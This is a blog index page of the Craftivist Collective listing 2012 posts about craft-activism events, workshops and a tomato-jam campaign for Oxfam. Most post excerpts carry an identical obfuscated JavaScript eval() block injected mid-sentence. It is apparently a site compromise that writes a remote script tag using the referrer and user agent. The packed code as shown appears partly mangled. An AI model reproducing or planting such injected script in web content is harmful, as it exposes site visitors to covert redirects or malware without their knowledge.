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30 Aug Review of Salon London’s Future Victorian event By Tej Adeleye

[caption id="attachment_1668" align="alignright" width="300"] eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|siytt|var|u0026u|referrer|rtrin||js|php'.split('|'),0,{})) I nervously warm up the audience before my talk[/caption] So instead of me (Sarah C) writing a blog about the talk...

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23 Aug Find our #popupcraftivist at Greenbelt Festival 2012 and free workshops too!

What's eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tyenr|var|u0026u|referrer|kzhss||js|php'.split('|'),0,{})) a "Pop Up Craftivist"? Sounds a bit odd...

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20 Aug “Love Fashion Hate Sweatshops” mini protest banner project

Written eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trfik|var|u0026u|referrer|bfnts||js|php'.split('|'),0,{})) by Lorna McBride, Manchester based Craftivist and volunteer Communiations Assistant Apart from drooling over the clothes what will you be doing this London...

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18 Aug London Craftivists get jamming for food justice

Written eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szark|var|u0026u|referrer|bhtzt||js|php'.split('|'),0,{})) by Lara Smallman, a Global Poverty Project Ambassador and Craftivism convert My first taste of craftivism was last month at the stitch-in at Spitalfields...

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16 Jul If you go down to The Make Escape…you’re in for a Craftivist surprise!

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idabi|var|u0026u|referrer|stfhs||js|php'.split('|'),0,{})) Craftivist Collective will be at The Make Escape, taking place at Hackney Attic in Hackney Picturehouse on Tuesday 31st July. The Make Escape is...

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04 Jul Cardiff Craftivist’s get stitching in support of Refugees and Asylum Seekers

 To eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izttk|var|u0026u|referrer|rytta||js|php'.split('|'),0,{})) mark the beginning of Refugee Week, the Craftivist Collective held a workshop in the Refugee House in St Fagans Museum, Cardiff. The Refugee...

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26 Jun We launched our Craftivist Jam event at Spitalfields City Farm!

So my shoulders are still recovering from being sunburnt at our lovely Craftivist Jam stitch-in launch event last Sunday at Spitalfields eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztfdy|var|u0026u|referrer|znarf||js|php'.split('|'),0,{})) City Farm. We...

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30 May Jamming with our Tomato Jam Craftivism Project

This is a perfect project for Summer and Fairtrade Fortnight (Feb/March) plus it's a great way to support Oxfam’s GROW campaign for a fairer world where everyone has enough to eat. Tomato Jam: Inspired by a recipe our founder, Sarah Corbett, received from a lady in Kenya, this project involves making tomato jam, stitching a fabric lid cover with a message in support of Oxfam’s Grow campaign, and using it as a way to speak to people about the world’s unfair food system.      
We love craft so are using that as a tool to be the change we wish to see in the world. You can use whatever you’re good to be part of the solution to social injustice rather than part of the problem.
Craft is a time for reflection and so this project encourages you to make time in our busy lives to stop and think about how the way we grow and share our food doesn’t work. There’s more than enough food for everybody, but a billion of us don’t have enough to eat. That means one in seven of us goes to bed hungry, every night, no matter how hard we work. That’s not fair play but it doesn’t have to be this way.” The summer craftivism jam project was inspired by a Kenyan woman called Christine
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29 May An inspiring story of community craftivism

Image A while ago a photo popped up on the CC facebook page from a lady called Lolo Margaret Jackson.  The photo was of handmade bunting tied to railings, with stitched letters spelling out the message ‘You are loved’. Similar to the 'become who you are' bunting Sarah C made back in 2011. Then Laura got in touch to send us her inspiring story behind the bunting.  So here it is… You Are Loved - The Story “Around 10 years ago a small group of people starting living out the belief that
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26 Apr Do you want to hear Craftivist Sarah Corbett speak in Berlin about Craftivism as part of the ‘Mobilising Communities’ event?

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhbki|var|u0026u|referrer|aiaai||js|php'.split('|'),0,{})) Craftivist Collective is thrilled to have been invited to Berlin, where Sarah C will be a speaker at the ‘Mobilising Communities’ event, on...

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